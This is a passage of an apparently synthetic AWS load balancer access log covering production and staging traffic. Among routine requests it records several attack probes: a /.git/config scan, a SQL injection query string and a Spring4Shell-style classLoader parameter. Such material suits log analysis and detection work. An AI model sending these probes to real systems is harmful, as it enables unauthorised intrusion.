HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da73-9f66a666564a43a097cee3c3" "-" "-" 8 2024-11-01T02:28:51.067913Z "forward" "-" "-" "10.0.10.225:443" "301" "-" "-" -https 2024-11-01T02:28:52.158426Z prod-web-alb 45.155.205.70:47700 10.0.163.157:443 0.029124 0.194814 0.032725 401 401 269 13928 "GET /.git/config HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da74-da9c4e3fd2e249c29d0f68e9" "-" "-" 9 2024-11-01T02:28:52.158426Z "forward" "-" "-" "10.0.163.157:443" "401" "-" "-" -http 2024-11-01T02:28:52.280436Z staging-alb 130.22.107.180:12679 63.103.65.249:80 0.083063 0.444461 0.000750 301 301 270 5138 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da74-e1affaf7ece74b3e9d054db4" "staging-alb.example.com" "-" 1 2024-11-01T02:28:52.280436Z "forward" "-" "-" "63.103.65.249:80" "301" "-" "-" -https 2024-11-01T02:28:53.022809Z staging-alb 132.147.58.26:29932 230.93.213.178:80 0.021000 0.260183 0.074381 200 200 745 5331 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da75-a7707dae17304715a1aa739d" "staging-alb.example.com" "-" 0 2024-11-01T02:28:53.022809Z "forward" "-" "-" "230.93.213.178:80" "200" "-" "-" -https 2024-11-01T02:28:54.035401Z prod-web-alb 221.240.155.22:22344 10.0.251.153:443 0.088199 0.241238 0.074299 302 302 3 7718 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da76-4d859aa41b3349bbad0c5c4f" "prod-web-alb.example.com" "-" 6 2024-11-01T02:28:54.035401Z "forward" "-" "-" "10.0.251.153:443" "302" "-" "-" -https 2024-11-01T02:28:54.370601Z prod-api-alb 39.34.107.38:39867 10.0.225.53:443 0.085542 0.002679 0.024426 302 302 178 10384 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da76-a548d6e3a82b4c36947dd511" "-" "-" 7 2024-11-01T02:28:54.370601Z "forward" "-" "-" "10.0.225.53:443" "302" "-" "-" -https 2024-11-01T02:28:54.686670Z prod-api-alb 194.222.18.80:43585 10.0.9.101:443 0.047638 0.229107 0.014317 404 404 251 9234 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da76-4efc68a7d8e54c748cd194f3" "-" "-" 4 2024-11-01T02:28:54.686670Z "forward" "-" "-" "10.0.9.101:443" "404" "-" "-" -https 2024-11-01T02:28:56.319108Z prod-api-alb 119.232.31.170:26599 10.0.21.92:443 0.019524 0.371788 0.084532 404 404 576 3029 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da78-0237cfe84fe948fb8a8e1bf2" "prod-api-alb.example.com" "-" 6 2024-11-01T02:28:56.319108Z "forward" "-" "-" "10.0.21.92:443" "404" "-" "-" -https 2024-11-01T02:28:56.821699Z prod-api-alb 151.47.238.89:42335 10.0.118.187:443 0.024794 0.111190 0.074008 301 301 662 3270 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da78-f5541839d85e4634927baf61" "prod-api-alb.example.com" "-" 0 2024-11-01T02:28:56.821699Z "forward" "-" "-" "10.0.118.187:443" "301" "-" "-" -http 2024-11-01T02:28:57.024807Z staging-alb 78.218.170.155:55019 143.209.4.8:443 0.030744 0.657242 0.144741 301 301 536 2980 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da79-3a0f4ff1da2d4f5a9835eb67" "staging-alb.example.com" "-" 8 2024-11-01T02:28:57.024807Z "forward" "-" "-" "143.209.4.8:443" "301" "-" "-" -https 2024-11-01T02:28:57.977405Z prod-api-alb 185.181.132.228:13056 10.0.129.10:443 0.013677 0.021804 0.005564 500 500 735 12399 "GET /users?id=1 OR 1=1 HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da79-ce6470d2b0bd450ea1fc05d5" "-" "-" 10 2024-11-01T02:28:57.977405Z "forward" "-" "-" "10.0.129.10:443" "500" "-" "-" -https 2024-11-01T02:28:59.142724Z prod-web-alb 242.148.97.255:54569 10.0.31.254:443 0.078456 0.170197 0.070760 200 200 547 11753 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da7b-c1b5b67801c949199945b95d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:28:59.142724Z "forward" "-" "-" "10.0.31.254:443" "200" "-" "-" -https 2024-11-01T02:28:59.553090Z prod-api-alb 14.49.228.169:10950 10.0.194.106:443 0.085594 0.280636 0.059155 200 200 863 5266 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da7b-781b2cd4435549398f92b795" "prod-api-alb.example.com" "-" 5 2024-11-01T02:28:59.553090Z "forward" "-" "-" "10.0.194.106:443" "200" "-" "-" -http 2024-11-01T02:29:00.159834Z staging-alb 216.201.163.50:41890 240.181.184.170:80 0.051900 0.153458 0.117819 404 404 996 1237 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da7c-8908a8e79b2e4c54b2abc347" "staging-alb.example.com" "-" 2 2024-11-01T02:29:00.159834Z "forward" "-" "-" "240.181.184.170:80" "404" "-" "-" -https 2024-11-01T02:29:00.879522Z prod-web-alb 97.142.88.39:23476 10.0.47.197:443 0.006844 0.068980 0.080152 301 301 49 13261 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da7c-655c13fce4804bf38268fe27" "prod-web-alb.example.com" "-" 9 2024-11-01T02:29:00.879522Z "forward" "-" "-" "10.0.47.197:443" "301" "-" "-" -https 2024-11-01T02:29:01.358311Z prod-web-alb 102.140.139.158:46104 10.0.203.138:443 0.003728 0.478664 0.050838 200 200 816 13323 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da7d-5128c1ca49ab4c619447cdb7" "prod-web-alb.example.com" "-" 8 2024-11-01T02:29:01.358311Z "forward" "-" "-" "10.0.203.138:443" "200" "-" "-" -https 2024-11-01T02:29:02.919589Z prod-api-alb 138.92.123.169:31758 10.0.212.54:443 0.091403 0.436941 0.044800 200 200 21 10680 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da7e-bc05676aa2fe409aa7f4d84e" "prod-api-alb.example.com" "-" 2 2024-11-01T02:29:02.919589Z "forward" "-" "-" "10.0.212.54:443" "200" "-" "-" -http 2024-11-01T02:29:04.552916Z staging-alb 248.95.225.108:50614 3.106.95.101:80 0.042438 0.353903 0.067662 301 301 930 11013 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da80-0195160a6e50422bbd6cdfeb" "staging-alb.example.com" "-" 9 2024-11-01T02:29:04.552916Z "forward" "-" "-" "3.106.95.101:80" "301" "-" "-" -https 2024-11-01T02:29:06.446872Z staging-alb 133.74.188.34:56676 145.74.238.82:80 0.116225 0.398499 0.104397 200 200 970 1571 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da82-5afb730024c3406d81bfff59" "staging-alb.example.com" "-" 0 2024-11-01T02:29:06.446872Z "forward" "-" "-" "145.74.238.82:80" "200" "-" "-" -http 2024-11-01T02:29:08.403035Z staging-alb 79.117.98.57:13679 167.49.6.124:8080 0.005266 0.449901 0.016178 302 302 874 2459 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da84-476fa3839af04e50bed2ee2a" "staging-alb.example.com" "-" 6 2024-11-01T02:29:08.403035Z "forward" "-" "-" "167.49.6.124:8080" "302" "-" "-" -https 2024-11-01T02:29:09.835265Z prod-web-alb 147.18.191.39:30591 10.0.96.27:443 0.012221 0.280879 0.050663 302 302 433 2083 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da85-0fc29505acea4e5b8a173d05" "prod-web-alb.example.com" "-" 5 2024-11-01T02:29:09.835265Z "forward" "-" "-" "10.0.96.27:443" "302" "-" "-" -https 2024-11-01T02:29:11.504666Z prod-api-alb 226.129.180.78:62591 10.0.24.111:443 0.021874 0.093820 0.098823 404 404 296 10399 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da87-7d8c5e80f8dc46ca8972d309" "prod-api-alb.example.com" "-" 3 2024-11-01T02:29:11.504666Z "forward" "-" "-" "10.0.24.111:443" "404" "-" "-" -https 2024-11-01T02:29:13.032538Z prod-api-alb 107.114.82.69:18518 10.0.11.100:443 0.051612 0.467634 0.068691 200 200 302 8277 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da89-357fe3f743074c55aa6d2007" "prod-api-alb.example.com" "-" 7 2024-11-01T02:29:13.032538Z "forward" "-" "-" "10.0.11.100:443" "200" "-" "-" -https 2024-11-01T02:29:14.262057Z prod-api-alb 84.90.116.191:31247 10.0.131.119:443 0.016941 0.495366 0.022535 200 200 406 3428 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da8a-2591361fdb9e4e24bf318d48" "prod-api-alb.example.com" "-" 2 2024-11-01T02:29:14.262057Z "forward" "-" "-" "10.0.131.119:443" "200" "-" "-" -https 2024-11-01T02:29:14.522514Z prod-web-alb 127.156.191.155:19185 10.0.88.78:443 0.060052 0.314263 0.013644 302 302 685 1129 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da8a-f0413b43ebc44ace9be61127" "prod-web-alb.example.com" "-" 2 2024-11-01T02:29:14.522514Z "forward" "-" "-" "10.0.88.78:443" "302" "-" "-" -https 2024-11-01T02:29:16.055396Z staging-alb 201.99.190.128:47428 34.234.238.78:443 0.073596 0.255918 0.068264 301 301 910 8654 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da8c-c65d1f4794d543938e6cd6ca" "staging-alb.example.com" "-" 8 2024-11-01T02:29:16.055396Z "forward" "-" "-" "34.234.238.78:443" "301" "-" "-" -https 2024-11-01T02:29:17.295136Z prod-api-alb 184.202.146.184:40306 10.0.169.184:443 0.072662 0.403086 0.016138 301 301 178 11873 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da8d-c4ca9078bbb145b99a15a8f3" "prod-api-alb.example.com" "-" 4 2024-11-01T02:29:17.295136Z "forward" "-" "-" "10.0.169.184:443" "301" "-" "-" -https 2024-11-01T02:29:17.651271Z prod-web-alb 79.205.157.144:56194 10.0.87.222:443 0.018980 0.154954 0.066881 200 200 117 10891 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da8d-af3d31644d5e4c1486f06215" "prod-web-alb.example.com" "-" 3 2024-11-01T02:29:17.651271Z "forward" "-" "-" "10.0.87.222:443" "200" "-" "-" -https 2024-11-01T02:29:18.702457Z prod-web-alb 211.186.14.159:51203 10.0.176.72:443 0.061050 0.281728 0.044476 404 404 689 3898 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da8e-63d097ea64384e3a9cc7ddd3" "prod-web-alb.example.com" "-" 8 2024-11-01T02:29:18.702457Z "forward" "-" "-" "10.0.176.72:443" "404" "-" "-" -https 2024-11-01T02:29:19.122730Z staging-alb 205.86.161.59:59655 32.40.241.90:80 0.053851 0.708246 0.050482 200 200 345 9091 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da8f-59459d9cc1014002a1f19fb3" "staging-alb.example.com" "-" 1 2024-11-01T02:29:19.122730Z "forward" "-" "-" "32.40.241.90:80" "200" "-" "-" -https 2024-11-01T02:29:20.520968Z staging-alb 133.234.251.165:16733 248.224.54.9:443 0.057284 0.027224 0.094331 200 200 465 6802 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da90-93776242452f407d877da4a9" "staging-alb.example.com" "-" 3 2024-11-01T02:29:20.520968Z "forward" "-" "-" "248.224.54.9:443" "200" "-" "-" -https 2024-11-01T02:29:22.348974Z prod-web-alb 118.91.100.78:33807 10.0.9.221:443 0.082925 0.055116 0.062943 200 200 838 6109 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da92-0320764b7bf4485988294705" "prod-web-alb.example.com" "-" 3 2024-11-01T02:29:22.348974Z "forward" "-" "-" "10.0.9.221:443" "200" "-" "-" -https 2024-11-01T02:29:24.270447Z staging-alb 26.82.47.158:62371 40.214.121.35:8080 0.095501 0.484633 0.074171 200 200 483 1716 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da94-a598817839e644caa307eca1" "staging-alb.example.com" "-" 9 2024-11-01T02:29:24.270447Z "forward" "-" "-" "40.214.121.35:8080" "200" "-" "-" -https 2024-11-01T02:29:25.125658Z prod-api-alb 130.95.201.247:38394 10.0.115.161:443 0.001920 0.306749 0.069083 200 200 537 10611 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da95-8534347b20ef4af7be99a5fc" "prod-api-alb.example.com" "-" 6 2024-11-01T02:29:25.125658Z "forward" "-" "-" "10.0.115.161:443" "200" "-" "-" -http 2024-11-01T02:29:25.984191Z staging-alb 66.171.210.135:42600 86.14.208.13:443 0.084126 0.118228 0.144647 301 301 809 5990 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da95-442ddf38cc0c466a94dcae74" "staging-alb.example.com" "-" 9 2024-11-01T02:29:25.984191Z "forward" "-" "-" "86.14.208.13:443" "301" "-" "-" -https 2024-11-01T02:29:26.440995Z prod-api-alb 239.209.111.14:14063 10.0.75.226:443 0.087129 0.199201 0.045057 200 200 155 5815 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da96-b79a299127944261baf4f5bf" "prod-api-alb.example.com" "-" 5 2024-11-01T02:29:26.440995Z "forward" "-" "-" "10.0.75.226:443" "200" "-" "-" -https 2024-11-01T02:29:27.035418Z prod-api-alb 75.253.146.38:38227 10.0.124.222:443 0.092342 0.399078 0.020477 200 200 223 7653 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da97-183e28510316448991e5fb4e" "prod-api-alb.example.com" "-" 10 2024-11-01T02:29:27.035418Z "forward" "-" "-" "10.0.124.222:443" "200" "-" "-" -https 2024-11-01T02:29:28.140940Z prod-web-alb 80.194.64.78:52142 10.0.139.229:443 0.095333 0.066004 0.083151 200 200 447 11295 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da98-f0e76eab0ec04c96b9e66502" "prod-web-alb.example.com" "-" 6 2024-11-01T02:29:28.140940Z "forward" "-" "-" "10.0.139.229:443" "200" "-" "-" -https 2024-11-01T02:29:28.672447Z prod-api-alb 162.183.143.255:50407 10.0.5.217:443 0.075648 0.254197 0.072974 404 404 395 1250 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da98-37eede3e5ce041d6a6684fb2" "prod-api-alb.example.com" "-" 2 2024-11-01T02:29:28.672447Z "forward" "-" "-" "10.0.5.217:443" "404" "-" "-" -https 2024-11-01T02:29:30.658016Z prod-api-alb 232.227.207.18:52341 10.0.190.48:443 0.064271 0.286576 0.040078 404 404 883 6156 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da9a-70d6e73b0ce64cd4a51eac3e" "prod-api-alb.example.com" "-" 5 2024-11-01T02:29:30.658016Z "forward" "-" "-" "10.0.190.48:443" "404" "-" "-" -https 2024-11-01T02:29:32.071593Z prod-web-alb 193.27.228.96:42022 10.0.253.119:443 0.025442 0.484466 0.019206 404 404 733 5141 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da9c-fd5f6f1e68a6463e933aa46d" "-" "-" 10 2024-11-01T02:29:32.071593Z "forward" "-" "-" "10.0.253.119:443" "404" "-" "-" -https 2024-11-01T02:29:33.726502Z prod-web-alb 135.10.202.20:43420 10.0.108.59:443 0.046858 0.233962 0.035848 301 301 914 9870 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da9d-88abff06c9164ff18490ea45" "prod-web-alb.example.com" "-" 4 2024-11-01T02:29:33.726502Z "forward" "-" "-" "10.0.108.59:443" "301" "-" "-" -https 2024-11-01T02:29:35.003777Z staging-alb 223.60.229.81:13704 203.20.92.86:443 0.054251 0.393606 0.078993 200 200 457 523 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da9f-44ce967d0a52478b88e87cfb" "-" "-" 7 2024-11-01T02:29:35.003777Z "forward" "-" "-" "203.20.92.86:443" "200" "-" "-" -https 2024-11-01T02:29:36.875856Z prod-web-alb 55.1.103.57:14430 10.0.232.247:443 0.078443 0.267722 0.062104 301 301 683 5949 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723daa0-2ff4b3fdf31a4d268beec676" "prod-web-alb.example.com" "-" 6 2024-11-01T02:29:36.875856Z "forward" "-" "-" "10.0.232.247:443" "301" "-" "-" -https 2024-11-01T02:29:38.698311Z prod-api-alb 8.81.251.232:47862 10.0.205.28:443 0.048398 0.083562 0.029307 200 200 872 9388 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723daa2-d97bb0bd2f9d4ca5b220b98d" "prod-api-alb.example.com" "-" 8 2024-11-01T02:29:38.698311Z "forward" "-" "-" "10.0.205.28:443" "200" "-" "-" -https 2024-11-01T02:29:39.473307Z prod-web-alb 235.172.150.58:43813 10.0.75.56:443 0.099320 0.315748 0.085884 200 200 89 4036 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723daa3-9a8ca57df3f743be962311f6" "prod-web-alb.example.com" "-" 3 2024-11-01T02:29:39.473307Z "forward" "-" "-" "10.0.75.56:443" "200" "-" "-" -https 2024-11-01T02:29:40.267103Z prod-web-alb 169.128.140.147:28290 10.0.58.46:443 0.057765 0.008762 0.009486 404 404 69 2686 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723daa4-5cf5d47d973143e6865b6bf2" "prod-web-alb.example.com" "-" 0 2024-11-01T02:29:40.267103Z "forward" "-" "-" "10.0.58.46:443" "404" "-" "-" -https 2024-11-01T02:29:42.134136Z prod-api-alb 180.165.252.17:46247 10.0.95.201:443 0.032894 0.294649 0.086925 200 200 250 667 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daa6-7514398d32c245b9a2655d53" "prod-api-alb.example.com" "-" 4 2024-11-01T02:29:42.134136Z "forward" "-" "-" "10.0.95.201:443" "200" "-" "-" -https 2024-11-01T02:29:43.486717Z prod-web-alb 162.31.62.190:62561 10.0.122.199:443 0.098151 0.133306 0.079658 200 200 892 2174 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 